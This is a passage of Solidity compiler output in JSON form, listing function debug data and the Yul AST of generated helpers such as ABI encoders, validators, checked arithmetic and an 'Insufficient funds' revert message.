"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 1366,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 1241,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_add_t_uint256": {
"entryPoint": 1794,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 1591,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 993,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 961,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 1100,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 1544,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 956,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb": {
"entryPoint": 1436,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d": {
"entryPoint": 1258,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367": {
"entryPoint": 1658,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470": {
"entryPoint": 1377,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2": {
"entryPoint": 1880,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 1011,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 1152,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:8574:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "611:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "668:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "677:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "680:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "670:6:1"
},
"nodeType": "YulFunctionCall",
"src": "670:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "670:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "634:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "659:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "641:17:1"
},
"nodeType": "YulFunctionCall",
"src": "641:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "631:2:1"
},
"nodeType": "YulFunctionCall",
"src": "631:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "624:6:1"
},
"nodeType": "YulFunctionCall",
"src": "624:43:1"
},
"nodeType": "YulIf",
"src": "621:63:1"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "604:5:1",
"type": ""
}
],
"src": "568:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "748:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "758:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "780:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "767:12:1"
},
"nodeType": "YulFunctionCall",
"src": "767:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "758:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "823:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "796:26:1"
},
"nodeType": "YulFunctionCall",
"src": "796:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "796:33:1"
}
]
},
"name": "abi_decode_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "726:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "734:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "742:5:1",
"type": ""
}
],
"src": "696:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "907:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "953:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "955:77:1"
},
"nodeType": "YulFunctionCall",
"src": "955:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "955:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "928:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "937:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "924:3:1"
},
"nodeType": "YulFunctionCall",
"src": "924:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "949:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "920:3:1"
},
"nodeType": "YulFunctionCall",
"src": "920:32:1"
},
"nodeType": "YulIf",
"src": "917:119:1"
},
{
"nodeType": "YulBlock",
"src": "1046:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1061:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1075:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1065:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1090:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1125:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1136:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1121:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1121:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1145:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address",
"nodeType": "YulIdentifier",
"src": "1100:20:1"
},
"nodeType": "YulFunctionCall",
"src": "1100:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1090:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "877:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "888:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "900:6:1",
"type": ""
}
],
"src": "841:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1221:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1231:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1242:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1231:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1203:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1213:7:1",
"type": ""
}
],
"src": "1176:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1324:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1341:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1364:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1346:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1346:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1334:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1334:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "1334:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1312:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1319:3:1",
"type": ""
}
],
"src": "1259:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1481:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1491:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1503:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1514:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1499:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1499:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1491:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1571:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1584:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1595:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1580:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1580:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "1527:43:1"
},
"nodeType": "YulFunctionCall",
"src": "1527:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "1527:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1453:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1465:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1476:4:1",
"type": ""
}
],
"src": "1383:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1654:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1711:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1720:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1723:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1713:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1713:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1713:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1677:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1702:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1684:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1684:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1674:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1674:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1667:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1667:43:1"
},
"nodeType": "YulIf",
"src": "1664:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1647:5:1",
"type": ""
}
],
"src": "1611:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1791:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1801:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1823:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "1810:12:1"
},
"nodeType": "YulFunctionCall",
"src": "1810:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1801:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1866:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "1839:26:1"
},
"nodeType": "YulFunctionCall",
"src": "1839:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "1839:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1769:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1777:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1785:5:1",
"type": ""
}
],
"src": "1739:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1950:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1996:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1998:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1998:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1998:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1971:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1980:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1967:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1967:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1992:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1963:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1963:32:1"
},
"nodeType": "YulIf",
"src": "1960:119:1"
},
{
"nodeType": "YulBlock",
"src": "2089:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "2104:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "2118:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "2108:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "2133:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2168:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2179:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2164:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2164:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "2188:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "2143:20:1"
},
"nodeType": "YulFunctionCall",
"src": "2143:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "2133:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1920:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1931:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1943:6:1",
"type": ""
}
],
"src": "1884:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2315:73:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2332:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2337:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2325:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2325:19:1"
},
"nodeType": "YulExpressionStatement",
"src": "2325:19:1"
},
{
"nodeType": "YulAssignment",
"src": "2353:29:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2372:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2377:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2368:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2368:14:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "2353:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2287:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2292:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "2303:11:1",
"type": ""
}
],
"src": "2219:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2500:62:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "2522:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2530:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2518:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2518:14:1"
},
{
"hexValue": "496e73756666696369656e742066756e6473",
"kind": "string",
"nodeType": "YulLiteral",
"src": "2534:20:1",
"type": "",
"value": "Insufficient funds"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2511:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2511:44:1"
},
"nodeType": "YulExpressionStatement",
"src": "2511:44:1"
}
]
},
"name": "store_literal_in_memory_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "2492:6:1",
"type": ""
}
],
"src": "2394:168:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2714:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2724:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2790:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2795:2:1",
"type": "",
"value": "18"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "2731:58:1"
},
"nodeType": "YulFunctionCall",
"src": "2731:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2724:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2896:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d",
"nodeType": "YulIdentifier",
"src": "2807:88:1"
},
"nodeType": "YulFunctionCall",
"src": "2807:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "2807:93:1"
},
{
"nodeType": "YulAssignment",
"src": "2909:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2920:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2925:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2916:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2916:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2909:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2702:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2710:3:1",
"type": ""
}
],
"src": "2568:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3111:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3121:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3133:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3144:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3129:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3129:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3121:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3168:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3179:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3164:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3164:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3187:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3193:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "3183:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3183:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3157:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3157:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "3157:47:1"
},
{
"nodeType": "YulAssignment",
"src": "3213:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3347:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "3221:124:1"
},
"nodeType": "YulFunctionCall",
"src": "3221:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3213:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "3091:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "3106:4:1",
"type": ""
}
],
"src": "2940:419:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3478:34:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3488:18:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3503:3:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "3488:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3450:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "3455:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "3466:11:1",
"type": ""
}
],
"src": "3365:147:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3624:8:1",
"statements": []
},
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "3616:6:1",
"type": ""
}
],
"src": "3518:114:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3801:235:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3811:90:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3894:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3899:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
